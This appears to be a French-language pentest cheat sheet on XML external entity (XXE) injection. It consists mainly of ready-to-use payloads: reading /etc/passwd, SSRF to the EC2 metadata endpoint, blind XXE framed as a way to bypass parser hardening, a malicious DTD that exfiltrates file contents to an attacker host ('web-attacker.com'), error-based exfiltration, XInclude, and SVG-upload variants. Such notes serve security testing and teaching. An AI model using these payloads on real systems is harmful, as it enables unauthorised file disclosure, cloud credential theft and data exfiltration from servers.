XXE
Définition
L'injection d'entité externe XML (également connue sous le nom de XXE) est une vulnérabilité de sécurité Web qui permet à un attaquant d'interférer avec le traitement des données XML par une application. Cela permet souvent à un attaquant d'afficher des fichiers sur le système de fichiers du serveur d'applications et d'interagir avec tout système dorsal ou externe auquel l'application elle-même peut accéder.
1. XXE pour récupérer des fichiers en interne :
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

2. XXE to SSRF
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "URL">]>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> SSRF pour le cloud EC2

3. Blind XXE
Lors d'une XXE, le serveur peut ne pas renvoyé d'erreur ou le contenu du fichier qu'on veut consulter. Ainsi des techniques de out of band doivent être mise en place afin de vérifier la présence de la vuln et avoir la possibilité d'exfiltrer de la donnée.
3.1 DNS & HTTP request
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "URL">]>


3.2 Blind XXE avec out of band interaction via XML parameter entities
Parfois, les attaques XXE utilisant des entités régulières sont bloquées, en raison d'une validation d'entrée par l'application ou d'un durcissement de l'analyseur XML utilisé. Dans cette situation, vous pourrez peut-être utiliser des entités de paramètre XML à la place.
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "URL"> %xxe; ]>
Cette manière de l'écrire nous permet d'appeler notre variable xxe directement dans le DTD et bypass le potentielle durcissement.


3.3 Exfiltration de données
Pour exfiltrer de la données, voici le payload : malicious.dtd qu'il faut host sur un serveur
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "URL/malicious.dtd"> %xxe;]>
3.4 Exfiltration de données via message d'erreur
On génere une erreur afin d'y insérer le fichier qu'on veut récupérer.
Pour ce faire, on host un fichier malicieux dtd avec ce payload :
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Puis on injecte ceci :
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "url/exploit.dtd"> %xxe;]>

4.XInclude attacks
Certaines applications reçoivent des données soumises par le client, les intègrent côté serveur dans un document XML, puis analysent le document. Un exemple de cela se produit lorsque les données soumises par le client sont placées dans une requête SOAP , qui est ensuite traitée par le serveur SOAP .
Dans cette situation, vous ne pouvez pas mener une attaque XXE classique, car vous ne contrôlez pas l'intégralité du document XML et ne pouvez donc pas définir ou modifier un élément DOCTYPE. Cependant, vous pourrez peut-être utiliser XInclude à la place. XInclude fait partie de la spécification XML qui permet de construire un document XML à partir de sous-documents. Vous pouvez placer une attaque XInclude dans n'importe quelle valeur de données dans un document XML, de sorte que l'attaque peut être effectuée dans des situations où vous ne contrôlez qu'un seul élément de données placé dans un document XML côté serveur.
Pour effectuer une attaque XInclude, vous devez référencer l'espace de noms XInclude et fournir le chemin d'accès au fichier que vous souhaitez inclure. Par exemple:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

5. XXE attacks via file upload
On peut upload un svg contenant la payload suivante :
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo[ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="file:///etc/hostname"></image>
</svg>
Last updated